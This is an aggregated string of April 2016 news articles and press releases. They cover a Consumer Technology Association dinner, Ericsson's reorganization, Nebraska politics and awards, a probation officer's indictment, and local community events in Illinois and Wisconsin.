https://www.fitchratings.com/jsp/creditdesk/PolicyRegulation.faces?context=2&detail=31 ALL FITCH CREDIT RATINGS ARE SUBJECT TO CERTAIN LIMITATIONS AND DISCLAIMERS. PLEASE READ THESE LIMITATIONS AND DISCLAIMERS BY FOLLOWING THIS LINK: HTTP://FITCHRATINGS.COM/UNDERSTANDINGCREDITRATINGS. IN ADDITION, RATING DEFINITIONS AND THE TERMS OF USE OF SUCH RATINGS ARE AVAILABLE ON (News - Alert) THE AGENCY'S PUBLIC WEBSITE 'WWW.FITCHRATINGS.COM'. PUBLISHED RATINGS, CRITERIA AND METHODOLOGIES ARE AVAILABLE FROM THIS SITE AT ALL TIMES. FITCH'S CODE OF CONDUCT, CONFIDENTIALITY, CONFLICTS OF INTEREST, AFFILIATE FIREWALL, COMPLIANCE AND OTHER RELEVANT POLICIES AND PROCEDURES ARE ALSO AVAILABLE FROM THE 'CODE OF CONDUCT' SECTION OF THIS SITE. FITCH MAY HAVE PROVIDED ANOTHER PERMISSIBLE SERVICE TO THE RATED ENTITY OR ITS RELATED THIRD PARTIES. DETAILS OF THIS SERVICE FOR RATINGS FOR WHICH THE LEAD ANALYST IS BASED IN AN EU-REGISTERED ENTITY CAN BE FOUND ON THE ENTITY SUMMARY PAGE FOR THIS ISSUER ON THE FITCH WEBSITE. View source version on businesswire.com: http://www.businesswire.com/news/home/20160421006746/en/

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[April 21, 2016] Tech Spectacular: #CTATechWeek Wraps Events featuring Tech Superstars and Government Leaders

The Consumer Technology Association (CTA) hosted an innovation celebration at CTA's 12th annual Digital Patriots Dinner held last night, Wednesday, April 20 at the Marriott Marquis in Washington, D.C. The Dinner honored Sen. Marco Rubio (R-FL) with the CTA's Innovation Policy Ninja Award and Sen. Cory Booker (D-NJ) and Rep. Blake Farenthold (R-TX) as Digital Patriot (News - Alert) honorees for their instrumental roles in supporting and advancing technology innovation. Other #CTATechWeek events this week included a lobby day, the annual CES on the Hill, along with meetings of the association's Board of Industry Leaders, its Foundation Board, Small Business Council and several committees. CTA President and CEO Gary Shapiro (News - Alert) started the evening by honoring Senator Rubio with the Innovation Policy Ninja Award, recognizing the Senator as a forward-thinking legislator who has influenced tech policy as a fierce advocate of ridesharing, crowdfunding, high-skilled immigration reform and modernizing ourpatent laws to protect innovators. Shapiro also heralded Rubio for his belief that "tech should not need permission from the government to innovate," and dedication to championing technology as a platform to promote paths to the American dream. Rubio described receiving this award as his "childhood dream come true" to become a ninja. During his speech he stressed the economic transformation being driven by the technology industry and the importance of this change in creating jobs and strengthening the economy. Senator Cory Booker (D-NJ) was recognized as a Digital Patriot for his tech-friendly bipartisan solutions as well as serving as a thought leader on drones, driverless cars and the Internet of Things (IoT). During his inspirational acceptance remarks, Booker talked about the radical change in paradigms he saw as a young man while his parents worked at IBM (News - Alert). He said, "Our paradigm has become outdated. Let's focus on the future, not the past." He added, "Tech is the sweet spot for jobs and economic growth. We must not let government choke innovation. We have to demand that our government moves at the speed of innovation." He also called for increased national collaboration and interdependence, quoting an African saying, "If you want to go fast, go alone but if you want to go far, go together." He ended his remarks by reading a motivating poem by Langston Hughes (News - Alert). In accepting his Digital Patriot award, Rep. Farenthold highlighted the merits of the sharing economy, from ridesharing to fashion, like Rent the Runway. The sharing economy, he said, "It's making things easier. It's making things less expensive. It's making the American Dream within everyone's reach." Market disruption, Farentholdadded, is a good thing, not something to be scared of. "Change is what it's all about," he said. "Technology enables you to follow your American Dream and be an entrepreneur at almost no cost."



Shapiro praised bipartisanship collaboration and suggested a Booker-Rubio/Rubio-Booker presidential dream team following powerful speeches and an enthusiastic audience response for all of the evening's honorees. He encouraged dinner guests to urge members of Congress to remain open to progress in the consumer technology industry, whose innovation and creativity continue to change and better the world. Texas Governor Greg Abbott was on-hand to accept CTA's Innovation Champion Award on behalf of his state. Texas was among the Innovation Champions identified by CTA's second annual Innovation Scorecard, a report that evaluates and ranks states' innovation friendliness in ten areas. During his acceptance remarks, Abbott noted that for the past three years, Texas has ranked number one in the U.S. for exporting high tech, calling special attention to the state's business-friendly tax policy, STEM-based education initiatives and the number of colleges and universities in the Austin, Dallas and San Antonio triangle offering renowned engineering programs. "Ten or 20 years from now, you will not know Texas as an energy state," he said. "You will know that triangle as the innovation triangle in the United States of America."

Learn more about the Innovation Scorecard and the 2016 champions at CTA.tech/Scorecard. At the dinner, HTC demoed its latest virtual reality system, the HTC Vive. The Vive is the first commercially available consumer VR system offering a true room-scale VR experience. Proceeds from the Digital Patriots Dinner will go to CTA Foundation, a public, national foundation affiliated with CTA, and Black Girls CODE, a non-profit organization dedicated to teaching girls ages 7-17 about computer programming and digital technology. Relive key moments, speeches and demos from the 2016 Digital Patriots Dinner in our highlight reel. CTA's annual CES on the Hill, held Tuesday, April 19 brought the energy of CES to the Nation's Capital and gave government officials an inside look at how consumer technology companies are bringing progressive products, ideas and concepts to reality. Held at the Rayburn House Office Building, this event featured more than 500 attendees, including 34 representatives and one senator, all there to experience the latest consumer technologies and products from companies at the center of some of the most critical, current tech policy debates. CTA's recap video captures the tech action and policymakers onsite first-hand. On Wednesday morning, CTA members representing a wide variety of technology companies participated in a Lobby Day on Capitol Hill to advocate for policies aimed at advancing innovation. This year's event welcomed 36 attendees who participated in 38 meetings with members of Congress and their top aides. The discussions centered on encryption, strategic immigration, trade, patent reform and the need for a national chemical regulatory program. The final event in the #CTATechWeek lineup is the Startup Media Training Workshop and Reception, co-sponsored by the Crystal City Business Improvement District. The afternoon kicks off with a workshop, How to Pitch to the Mediaand do it Right, where startups will learn how to position their company and products to the media. A networking reception will follow. This event is open to startups only. For registration information, contact Deborah Kassoff. About Consumer Technology Association: Consumer Technology Association (CTA)TM is the trade association representing the $287 billion U.S. consumer technology industry. More than 2,200 companies - 80 percent are small businesses and startups; others are among the world's best known brands - enjoy the benefits of CTA membership including policy advocacy, market research, technical education, industry promotion, standards development and the fostering of business and strategic relationships. CTA also owns and produces CES - the world's gathering place for all who thrive on the business of consumer technologies. Profits from CES are reinvested into CTA's industry services. UPCOMING EVENTS CES Asia 2016 - Register

May 11-13, Shanghai, China

May 11-13, Shanghai, China CEO Summit

June 21-24, Tel Aviv, Israel

June 21-24, Tel Aviv, Israel Innovate!

September 20-22, San Jose, CA (News - Alert)

September 20-22, San Jose, CA (News - Alert) CES Unveiled Prague

October 20, Prague, Czech Republic

October 20, Prague, Czech Republic CES Unveiled Paris

October 25, Paris, France

October 25, Paris, France CT Hall of Fame Dinner

November 9, New York, NY

November 9, New York, NY CES Unveiled New York

November 10, New York, NY

November 10, New York, NY CES Unveiled Las Vegas

January 3, Las Vegas, NV

January 3, Las Vegas, NV CES 2017

January 5-8, Las Vegas, NV View source version on businesswire.com: http://www.businesswire.com/news/home/20160421006751/en/

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Ericsson (News - Alert) today announced executive and organizational changes in an effort to accelerate its growth and profitability, deliver a higher level of customer service, and eliminate duplication across capabilities and portfolios. The news comes on the same day the telecom equipment giant revealed its financial results for the first quarter of 2016, during which its sales decreased by -2 percent year over year.

Jan Frykhammar (News - Alert), CFO and executive vice president, in an interview with TMCnet this morning, said Ericsson has gradually improved its earnings in recent years, but it has not grown. It is in an industry that is not seeing much global growth, he said, but the company hopes this reorganization will enable it to grow faster than the industry norm of 3 to 5 percent. He added that its good for a business to reorganize every five to seven years to keep things moving forward. Ericsson hadnt reorganized since 2010.

From time to time its good to introduce new people with new diverse experiences and so forth, he said, adding the industry has changed a lot since Ericssons reorganization six years ago.

The new organization, which goes into effect starting July 1, will be aligned around type of customers and type of business and will include five business units and one dedicated customer group for Industry & Society.

We will create a leaner, more fit for purpose organization, to cater for the needs of different customer segments and to faster capture market opportunities, said Hans Vestberg (News - Alert), Ericsson president and CEO, who remains in this post under the reorganization. As 5G, the Internet of Things, and cloud drive the next phase of industry development, the time is just right to make these changes."

Radio and transport will fall under the auspices of Business Unit Network Products. Customer support, managed services, and network rollouts will be handled by Business Unit Networks Services. Together these core business groups will focus on incremental improvements in networks business performance, and capturing 4G and 5G opportunities.

Business Unit IT & Cloud Products, and Business Unit IT & Cloud Services, meanwhile, will work with a new Business Unit Media to drive growth by focusing on software sales and recurring business to complement what the company says is its already strong business in Consulting & Systems Integration and the Broadcast Services business.

Ericsson already has been focused on three main new customer segments: public safety, transport, and utility, said Frykhammar. Now companies it serves in these verticals will have dedicated customer support within the leadership team, he said.

For the rapidly growing Industry & Society business a separate Customer Group will be introduced to improve scaling and time to market, Ericsson said.

As noted above Ericsson has also shifted the responsibilities of some executives, and brought in some new folks to the team. Heres a quick rundown of whats changing on that front:



 Frykhammar becomes Executive Vice President, Chief Financial Officer and Head of Group Function Finance & Common Functions.

 Arun Bansal becomes Senior Vice President and Head of Business Unit Network Products. Currently Head of Business Unit Radio, he will be a new member of the Ericsson Leadership Team.

 Per Borgklint becomes Senior Vice President, Chief Innovation Officer and Head of Business Unit Media. Borgklint currently holds the position as Senior Vice President and Head of Business Unit Support Solutions.

 Bina Chaurasia remains as Senior Vice President, Chief Human Resources Officer and Head of Group Function Human Resources.

 Ulf Ewaldsson remains as Senior Vice President, Chief Technology Officer and Head of Group Function Technology.

 Niklas Heuveldop becomes Senior Vice President, Chief Customer Officer and Head of Group Function Sales. Heuveldop currently holds the position as Head of Global Customer Unit AT&T (News - Alert) and is a new member of the ELT.

 Chris Houghton, the Head of Region North East Asia since 2015, becomes a new member of the ELT.

 Fredrik Jejdling becomes Senior Vice President and Head of Business Unit Network Services. Jejdling currently holds the position as Head of Region sub-Saharan Africa and becomes a new member of the ELT.

 Anders Lindblad becomes Senior Vice President and Head of Business Unit IT & Cloud Products. Lindblad currently holds the position as Head of Business Unit Cloud & IP and becomes a new member of the ELT.

 Nina Macpherson remains Senior Vice President, Chief Legal Officer and Head of Group Function Legal Affairs.

 Helena Norrman remains Senior Vice President, Chief Marketing and Communications Officer and Head of Group Function Marketing and Communications.

 Jean-Philippe Poirault becomes Senior Vice President and Head of Business Unit IT & Cloud Services. Poirault, who currently holds the position as Head of Consulting and Systems Integration, becomes a new member of the ELT.

 Rima Qureshi becomes Senior Vice President, Head of Region North America and Chief Strategy Officer. Qureshi currently holds the position as Senior Vice President, Head of Group Function Strategy and Head of M&A.

 Charlotta Sund becomes Senior Vice President and Head of Customer Group Industry & Society. Sund, who currently holds the position as Head of Region Northern Europe and Central Asia, becomes a new member of the ELT.

 Elaine Weidman-Grunewald, Head of Group Function Sustainability and Corporate Responsibility, becomes a new member of the ELT.

 Peter Laurin become Head of Region Northern Europe and Central Asia. Laurin currently holds the position as Head of Global Customer Unit Vodafone (News - Alert),

 Jean-Claude Geha becomes Head of Region sub-Saharan Africa. Geha currently holds the position as Head of Business Line Managed Services.

 Gustav Brismark becomes Chief Intellectual Property Officer and Head of IPR & Licensing. Brismark currently holds the position as Vice President, Patent Strategy and Portfolio.

Edited by Stefania Viscusi
proxima

Avances. La tecnologia anti tunel israeli podria frustrar el contrabando entre los Estados Unidos y Mexico
SEOUL - South Korea on Thursday urged Japan to squarely face up history in a right way after Prime Minister Shinzo Abe's ritual offerings to the notorious war-linked Yasukuni Shrine in Tokyo.

Foreign Ministry spokesman Cho June-Hyuk told a press briefing that Prime Minister Abe dedicated a "masakaki"tree to the Yasukuni Shrine, which glorifies Japan's past war of aggression and colonization and enshrines war criminals, expressing deep concerns about the dedication.

Cho called for Japan to squarely face up to history and show sincere actions to repent its past atrocities, saying that it will be an effort that should be made by Japan to open new future-oriented relations between the two nations.

Abe and other senior government personnel made offerings to the notorious shrine to celebrate the country's spring festival. Abe's special advisor, Seiichi Eto, visited the contentious war-linked shrine in person.

Abe opted to abstain from visiting the ill-famed shrine in person, but he has made the ritual offering in a private way, drawing the ire of Japan's neighbors especially China and South Korea.

The Korean Peninsula was colonized by Japan between 1910 and 1945. China also suffered at the hands of Japan's brutal militarism before and during World War II.
MATTOON  Those who visit the lower level of the Mattoon depot on Tuesday evenings might notice a new, melodic sound amidst the usual echoing footsteps and rumbling trains.

Local ukulele players have started gathering together on a weekly basis for informal jam sessions in the gift shop area at the depot, 1718 Broadway Ave. Players at all skills levels on this stringed instrument are invited to take part in the jams.

There is room for beginners, intermediate and advanced in something like this, said Mattoon resident Gail Nelson. She started these gatherings last month as a means of playing alongside other enthusiasts and introducing prospective players to the ukulele.

Nelson, a former art teacher, said she played the clarinet throughout college and had always wanted to learn how to use a stringed instrument. Nelson said she obtained her first ukulele two years ago after reading reports about how this small instrument, developed in Hawaii, was making a comeback.

Ukuleles typically only have four strings, which Nelson said makes them relatively easy for novices to learn how to play. Nelson said she quickly started picking up the skill and found that this inexpensive instrument is a lot of fun.

You cant play ukuleles and be unhappy, Nelson said. Its just a fun instrument. It makes you smile.

Her interest in strumming along with other ukulele players led Nelson to take part in a workshop at Folkcraft Instruments in Woodburn, Ind. in August. Nelson said she also found that ukulele enthusiasts periodically play together at The Vault Arts Collective in Tuscola.

Still, Nelson said she wanted to take part in a jam session closer to home. Consequently, she started inquiring with Sound Source Music, which sells ukuleles, to see if there were other locals who might be interested in playing together.

Nelson said her recruitment efforts paid off after she and several others took part in a master class that the Wellington International Ukulele Orchestra held on March 1 in the Lone Elm Room at the depot. These musicians from New Zealand were in the area for a performance at the Eastern Illinois University Doudna Fine Arts Center.

We were all fired up because those guys are so much fun, Nelson said of the Wellington group.

Since then, Nelson said she and approximately half a dozen other ukulele players have been meeting on a weekly basis. She said they play and sing songs ranging from old-fashioned tunes, such as Buffalo Gals, to pop, such as Simon & Garfunkels Cecilia.

When you get together with other people, there is camaraderie and it is just more fun, Nelson said. She added that if one player misses a chord or forgets the words to a song, someone else is there to pick it up. That is the beauty of a group.

One of the participants she has recruited is Gary Weber, a fellow member of the Class Pack Car Club. Weber said he played the keyboard a little when he was younger, but had always wanted to learn how to play another instrument.

Weber said he selected a tenor ukulele that fits his large hands well, opting for this over a soprano, concert or baritone ukulele. Weber said he feels that the ukulele lives up to its nickname  The instrument of peace.

Its a beautiful instrument and its beautiful music, Weber said, adding that Somewhere Over the Rainbow is absolutely beautiful on a ukulele. I am really enjoying it. Its a bright part of my life right now and I look forward to each session.

Jam session participant Max Cole said he had never played an instrument before, but he has found that the ukuleles chords are fairly simple to learn because they are not complex.

Cole said he has enjoyed using his ukulele, which he received as a birthday gift, to play You Are My Sunshine, John Denvers Country Roads, and more with the others in the group on Tuesday evenings.

We are having a good time. We are looking for more people to come join us, Cole said.

Nelson said she and the other ukulele players may eventually play at nursing homes and special events but are just focusing on having fun for now.

We are just getting started, Nelson said. Every week, there is more and more improvement.

The ukulele players meet from 6 to 7 p.m. on most Tuesdays at the depots gift shop space. Those interested in taking part are encouraged to call the Mattoon Arts Council at 217-258-6286 first to confirm they will be gathering that evening.
Two Lincoln-based businesses were named Friday as winners of the University of Nebraska's two most prestigious awards for efforts in entrepreneurship.

Bulu Box, founded by Paul and Stephanie Jarrett, won the Walter Scott Entrepreneurial Business Award, and DivviMap, founded by current University of Nebraska-Lincoln student Justin Kyser, won the Peter Kiewit Student Entrepreneurial Award.

The awards honor NU students and businesses with ties to the university that are leveraging technology to expand entrepreneurial activity in the state.

The Walter Scott award is designed to encourage existing businesses with a presence in Nebraska to create partnerships with the university in the area of technology. The award comes with a $10,000 prize to be used for the promotion and/or creation of student work experiences in the fields of information science, technology or engineering.

Bulu Box provides its subscribers a monthly box containing four to five product samples related to health and wellness. Customers can share their feedback on the products in exchange for reward points that can be used to purchase full-sized items on the Bulu Box website. Subscriber feedback is aggregated in real time via a software dashboard that allows brands to make data-driven decisions about product development and marketing. Today, Bulu Box distributes up to 50,000 boxes of samples each month to subscribers across the country.

The Jarretts are both UNL graduates and maintain a close partnership with the university. Bulu Box offers numerous internship and job opportunities to university students, and more than three-quarters of the companys full-time staff are UNL graduates. The Jarretts and their team are frequent guest lecturers in UNL classes, serve as mentors to students and host events for students.

Bulu Box said it plans to use its prize money to create additional computer science-focused internships.

The Peter Kiewit award recognizes University of Nebraska students who have directed their energies, ideas and talents toward community and business improvements with the creative and innovative use of information technology. The award is accompanied by a $2,500 prize.

Kyser, a senior in UNLs College of Business Administration who grew up on a dairy farm near Beatrice, came up with the idea for DivviMap after seeing that drone mapping companies didnt have the necessary infrastructure to share maps with customers in industries such as agriculture. Kyser identified the market opportunity after his experience co-founding Digital Sky, a company that provides drone services to the agriculture, film and video production, electrical utilities, and engineering/surveying industries.

Kyser earned his private pilots license in high school and later attended flight school, where he earned his commercial pilots license and an associates degree in aviation. He developed a passion for unmanned aviation and started down the entrepreneurial path by creating Kyser Aviation, a commercial drone company.
Survived by his wife LaVon; sons, Gene Reinke, Dan (Lori) Reinke and Jay Reinke (fiancee Michelle M. Rotter-Williamson); daughter Jennie (Ernest) Rodrique; 12 grandchildren; four great-grandchildren.

Following Lawrence's wishes his body was donated to the University of Nebraska as an anatomical gift. Memorial service will be 11 a.m. Saturday April 23, at Grace Lutheran Church, Hebron. Kroll Funeral Home of Hebron, www.krollfh.com.
Nebraska Board of Education candidate Stephanie Bohlke-Schulte said she thinks schools should have the option of teaching a balanced approach to science that includes creationism as an alternative theory to evolution.

But she said she does not think it should become a part of the state science standards, rather it should be a curriculum decision by local districts, and that balanced doesnt necessarily mean creationism should be given an equal amount of time as evolution.

The issue arose during a candidate interview with members of the Journal Star's editorial board. In a subsequent interview, Bohlke-Schulte said creationism should not be taught as a belief but because there is some scientific foundation for it.

Bohlke-Schulte is one of three candidates in District 1, including most of Lincoln and south and east portions of Lancaster County.

She spent 26 years in education as a teacher, high school guidance counselor, elementary school principal and two-term member of the Grand Island Public Schools board of education.

Lincoln physician and community health advocate Bob Rauner and Lincoln High teacher Patsy Koch Johns will also appear on the primary ballot in the officially nonpartisan race.

Rauner said he doesnt think creationism should be a part of the science curriculum. As a religious belief, it could be included in social studies or political science classes that discuss religion in the context of world events, he said.

Koch Johns said it could be mentioned but not as a scientific theory.

"It's a philosophy," she said. "It probably deserves mentioning. It's not based on factual information."

She said she remembers her own high school science teacher mentioning it in the context of how man has always tried to figure out the beginning of life.

Whether creationism should be taught as part of the science curriculum has been a hotly debated -- and litigated -- subject in other states, though it hasnt come up in Nebraska in recent years. Courts have consistently rejected attempts by states and school districts to teach alternate theories of evolution, including creationism or intelligent design, or attach disclaimers to the topic of evolution.

Bohlke-Schulte said she didnt see it as an election issue or one upon which she is campaigning. She's able to think objectively, separate personal beliefs and do what's best for kids, she said.

Im not driven by some agenda to teach creationism," she said.

Nor, she said is it an issue that should be addressed by the state because it doesn't mandate curriculum.

A review of the state science standards by the Nebraska Department of Education and the state board, however, is scheduled to begin this fall.

The Nebraska Board of Education passed the current science standards in 2010 and while theres no mention of creationism or intelligent design, the standards do specifically address evolution and the big bang theory. The standards say high school students are expected to describe the formation of the universe using the big bang theory, explain the history and evolution of earth and describe the biological theory of evolution.

In recent years, the content of state standards, particularly social studies, has drawn crowds that have advocated for and against various topics including the concept of American exceptionalism and climate change.

James Blake, who was the state education departments science education director before he became the Lincoln Public Schools science curriculum specialist, said he would advise schools against teaching creationism because of the constitutional issues it raises.

I would not advise that based on legal precedent alone, he said.

He suggests teachers follow guidance from the National Academy of Sciences for teaching evolution, which includes a question-and-answer section on religious, legal and educational issues.

"When a teacher encounters a student who holds a belief that may be outside of science, the teacher should never pit one as right and one as wrong," he said.
The Washington Post reports:

"The U.S. Treasury will put African-American abolitionist Harriet Tubman on the front of the new $20 bill, replacing former president Andrew Jackson, who will be moved to the back of the bill, Treasury Secretary Jack Lew announced Wednesday. Former Treasury Secretary Alexander Hamilton will remain on the front of the new $10 bill, after the Treasury encountered fierce opposition to its initial plan to demote the founding father to make way for a woman to appear on the paper currency, the department said."

It is not an exaggeration to say this might be the most popular decision of the Obama presidency. (When Hillary Clinton and the Wall Street Journal editorial board agree it is noteworthy.) The reasons are numerous.

The decision spares Republicans the loss of Alexander Hamilton, whom many claim as their own despite his advocacy of a central government stronger than that of the Articles of Confederation. ("Above all, Hamilton understood the powers of government to be limited - not only by the written law of the Constitution, but also by the natural rights affirmed by the consensus of the Founding generation," writes Carson Holloway. "Hamilton favored an activist federal government, but he did so on grounds and within limits that are recognizably part of the American conservative and constitutional tradition.")

Keeping Hamilton reaffirms the impact an exquisite work of art, in this case a Broadway musical about a Founding Father, can have on the public, or at least a not-insignificant segment of it. It is a reminder that history can and should be taught every day, not just inside a classroom. Art in all its varied expressions and the symbols whose importance we too often dismiss (coinage, holidays, building names) are part of the way we transmit our civic culture and transcend divisions.

Tubman's introduction to the front of the $20 is a reminder that our greatest Americans were not all, or solely, politicians. (Ben Franklin on the $100 bill is rarely seen these days.) It is a timely reaffirmation that presidents alone do not make the nation great. The intervention of the Pulitzer Prize-winning Lin-Manuel Miranda in the decision-making makes it that much more delightful, an example of citizen activism at its best.

The currency change banishes slave-owning, Trail of Tears President Andrew Jackson to the back of the . . . er . . . bill. Democrats don't need to venerate him, and Republicans can be spared the celebration of his exaggerated populism. (They've had quite enough of that lately, thank you.) The country is now going to learn a great deal about an immensely interesting and deserving African American woman, a slave who freed herself and others, a spy for the Union and an advocate for women's suffrage. Democrats swoon over the inclusiveness of the choice; Republicans, as several tweeted, get to admire a gun-toting, freedom-loving Christian and Republican.

If nothing else, we can agree on something. That's no small achievement these days.
When the gavel fell on the final day of the 2016 legislative session the sound marked the end of a cycle in the era of term limits.

Eleven state senators will be departing because of term limits. Barring a special session later this year, or a return to the chamber after sitting out for four years, they have cast their last votes.

The departing local contingent served with special distinction.

When the executive branch of state government under then-Gov. Dave Heineman broke the child welfare system in Nebraska in a botched privatization attempt, it was Sen. Kathy Campbell, with the help of many others, who put it back together again.

That was an outstanding achievement against considerable odds. Its a miracle that Nebraska emerged from the chaos without tragedy.

Using her background as an executive with Cedars, Campbell led the legislative restructuring, fashioning a public-private system with some new feedback mechanisms like the post of inspector general for child welfare, to help make the system be more self-correcting.

Various metrics, including those used by the federal government, show continued improvement.

In recent years Campbell was a champion for Medicaid expansion in the state. She will leave with that goal unaccomplished. But she was right to try.

Back in 2008 everyone thought that Dan Marvin would walk to an easy win in District 27. Colby Coash came out of nowhere to score the win.

Over the next eight years he proved just as effective in the legislative chamber. An extraordinarily versatile legislator, he pushed through legislation ranging from an extension of bar hours to a bill that improved the accuracy of the Child Abuse Registry by removing the names of some who had been placed there as infants.

Coash brought a special panache to the job. Remember the time as Captain Chaos he gave all senators a professional wrassling name, like Galen Hammerhead Hadley and Ernie Lion Whisperer Chambers.

Coash may be remembered most of all for his leadership on the repeal of the death penalty last year. He was a persuasive exponent of the conservative case against the death penalty, convincing a sizable contingent of Republicans to replace the death penalty with life in prison without parole. A petition drive put the issue on the November ballot.

Ken Haar of Malcolm was an effective voice for environmental causes. He was one of the first to voice objections to the Keystone XL pipeline. He pushed for greater development of wind energy in Nebraska.

He still has a major task ahead of him in the off-session before he steps down to make way for the new class of senators that will be sworn in in January.

He will co-lead a special legislative committee that will try to come up with a strategic plan for Nebraska to address the effects of climate change on the state. The importance of the committees task becomes more evident every month as the string of global record-breaking monthly temperatures continues to lengthen.

Others in the departing class of 2008 who deserve mention include Sen. Galen Hadley, who led the body the past two years as speaker; Sen. Mike Gloor, chair of the Revenue Committee, a responsible voice for fiscal prudence and health policy, and Sen. Heath Mello, chair of the Appropriations Committee, who year after year did such a superb job of crafting a state budget that it often sailed through with little controversy.

They all provide good role models for those who will replace them in Nebraskas unique, nonpartisan, one-house legislature.
Since 1983, the Journal Star has asked human services agencies to share stories of real people with real needs as part of its Thanks for Givin
Nan and Rex Peterson believe the land they ranch and farm in northwestern Nebraska doesnt belong to them.

I was raised with the idea that the land does not belong to you. It belongs to God, and you need to put all your efforts into keeping it as close as possible to the way God intended it to be, Nan Peterson said.

That commitment to stewardship and ethical management at Plum Thicket Farms earned the Peterson family the distinction of being the 2016 recipient of the Leopold Conservation Award, a national honor named for conservationist and author Aldo Leopold.

Gov. Pete Ricketts, joined by representatives of the Sand County Foundation and the Nebraska Cattlemen, announced the Peterson family as recipients of the award during a Friday morning ceremony at the Capitol.

Our farmers and ranchers were the original conservationists, of course, because they wanted to pass along that family farm and ranch to the next generation so they knew they had to take care of the land and livestock, Ricketts said.

Nan and Rex Peterson are working to do just that. While they were accepting the award, their son, Patrick Peterson, and his wife, Krista, were back home feeding cows, calving and planting.

Nan and Rex Peterson met in 1979 at a Colorado church retreat. He was an architect and she was in her final year of veterinary school. They married the same year.

When they bought a Nebraska ranch in 1989, their three children were teenagers. The hired man of the person they bought the farm from agreed to work with them the first year to show them the ropes.

At the end of that year, they took stock of what they had learned and where they saw deficiencies. Then they began to innovate, taking inspiration from other conservation-minded farmers, ranchers and agriculture experts.

Most of our knowledge came by the school of hard knocks. Were willing to try things that no one else is doing in the area. And sometimes its a great thing and sometimes not, Nan Peterson said.

They now have about 220 mama cows and manage about 5,000 acres near Clinton north of the Niobrara River. Their land is split between pasture and farmland. They use no-till planting, cover crops and a multi-species cocktail of annual forages for intensive grazing.

They have an 11-month grazing season and calve in May (later than many traditional operations) with rye cereal as forage so cattle can get the nutrition provided in the natural forage cycle. Grazing has become a tool for managing their pasture, Rex Peterson said.

They also run an internship program to pass on their knowledge and conservation values to the next generation of producers and leaders.

Recipients of the Leopold Conservation Award are recognized with a decorative crystal and $10,000.
A drug technician working for the Nebraska State Probation Office in Lexington stands accused in a money-for-information plot, according to a federal indictment unsealed Friday.

Victor Ramirez, 25, allegedly took money from a confidential informant in exchange for information about license plates and arrest warrants, and for falsely saying the informant had provided clean urine and breath samples when none were given.

It is unclear how much money Ramirez is accused of taking.

In an email Friday, Nebraska State Patrol spokeswoman Deb Collins said the joint investigation involved the FBI and the patrol and directed questions to the U.S. Attorney's Office.

Jan Sharp, chief of the Criminal Division of the Nebraska U.S. Attorney's Office, called it an unusual case.

In court records unsealed Friday, Assistant U.S. Attorney Alan Everett said between Aug. 25 and Dec. 16, a confidential informant Ramirez supervised as a part of his employment paid Ramirez money to:

* Provide vehicle registration information pertaining to people and license plate numbers.

* Provide information about whether arrest warrants were out for the informant and others or if they were listed in the Nebraska Incident Based Reporting System.

* Falsely document that the informant provided urine or breath samples that tested negative for alcohol and illegal drugs when no such samples had been given or tested.

A grand jury indicted Ramirez Wednesday on suspicion of six counts of interfering with commerce under color of official right.

The indictment alleges that Ramirez took money four times in exchange for information and four times in exchange for falsely documenting the informant's breath or urine had tested clean for illegal drugs and alcohol.

The documents don't say how much money was exchanged, and Sharp said he couldn't say.

A spokeswoman with the Nebraska Supreme Court confirmed that Ramirez worked at the office from Sept. 3, 2013, until Jan. 13, 2016, but could not say if he was fired.

Ramirez was arrested and is being held at the Dawson County jail. He is set to make his first court appearance on the indictment Monday in Lincoln.
MOUNT PLEASANT  The Sons of Norway will hold a prospective member luncheon from noon to 1:30 p.m. Saturday, April 23, at Mike & Angelo's, 6214 Washington Ave.

The Sons of Norway is open to people of all ages and nationalities interested in learning about Scandinavian and Nordic cultures. Officers and members will introduce attendees to the types of programs and activities offered by club including cultural celebrations, lodge activities, youth group and benefits of membership.
Racine Mayor John Dickert and Racine County Executive Jonathan Delagrave co-hosted Mayor and County Recognition Day for National Service at the Racine City Hall Council Chambers on April 5. Volunteers from the Retired & Senior Volunteer Program (RSVP), Foster Grandparents in Racine, and two VISTA projects were recognized.

These national programs with local focus and implementation are administered by the Corporation for National and Community Service, a federal agency since 1993 under legislation signed by President Clinton.

The Volunteer Center of Racine County Inc. is the grantee of RSVP-Racine County, with 250 volunteers. Volunteers and administrators from ADRCs Meals on Wheels, the Dominicans Senior Companion Program, the City of Racine Public Health Departments Medical Reserve Corps and the Volunteer Centers MyRIDE senior transportation program were recognized as key RSVP projects.

The Foster Grandparents program is administered locally by Goodwill Industries of Southeastern Wisconsin Inc. Supervisor Kayla Olson paid tribute to the 40 volunteers of the Foster Grandparents Racine program working in several mentor projects throughout Racine County. Fourteen Foster Grandparent volunteers attended the ceremony.

UW-Parkside VISTA Projects four VISTAs work full-time one-year terms, living on a very modest living allowance to help build capacity and promote sustainability at local Racine nonprofit organizations.

Amanda DesLauriers, University of Wisconsin-Parkside Community-Based Learning Coordinator, introduced volunteers with four projects. HALO VISTA is developing relationships with area landlords and other stakeholders to increase affordable housing in Racine. Racine Vocational Ministry VISTA is originating grants and developing a donor database to build a solid financial footprint. The City of Racine VISTA is collaborating with the Root River Council to redevelop parts of Downtown Racine adjacent to the river. John XXIII Educational Center VISTA is fundraising to ensure fiscal sustainability.

Nicole Marie Jamieson, a Volunteer Wisconsin AmeriCorps member working with the Girl Scouts of Wisconsin South East, based at the Marshfield Clinic, explained the vital roles her volunteers play in Girl Scout projects.

Mayor and County Recognition Day for National Service is celebrated across the United States every year on Election Day in April and is sponsored by CNCS.
BURLINGTON  Dana Kroll gets migraines and she doesnt always like taking medicine for them. She knows the value of having as many alternatives as possible for medical treatment.

There are alternative therapies like acupuncture that have been proven to be very successful that people need to consider, she said.

On Saturday, an open house at the newly re-branded CATHE House of Healing, 101 Edward St., will raise awareness about those alternative treatments and their availability in Burlington. Kroll, the CATHE Centers executive director, said the multiple services offered at the house will address a societal need.

The event runs from 10 a.m. to 3 p.m. Saturday, and features presentations about the houses services every half hour. Topics of the seminars include yoga, massage and Ayurveda, an Indian form of medicine.

I think that we need to have relaxation services, Kroll said. We need to have the ability to go somewhere and let go of things for a while.

The CATHE Center opened in Burlington a decade ago; a community center on the property of a former Methodist church. The centers website describes it as a non-profit community center dedicated to providing health-oriented and culturally-rich programs for all.

The churchs old parsonage fell into the owners hands a few years after the center opened, but it wasnt until this January when center officials decided to dedicate the old parsonage to health services full-time.

Thats what the open house is about, Kroll said. Its celebrating that the house is really health and wellness based.

Kroll said the houses dedication comes at an important time for health in the region.

Were not a particularly healthy society at the moment, she said. Wisconsin has a high rate of obesity. Were really in a moment where (health) is crucial.

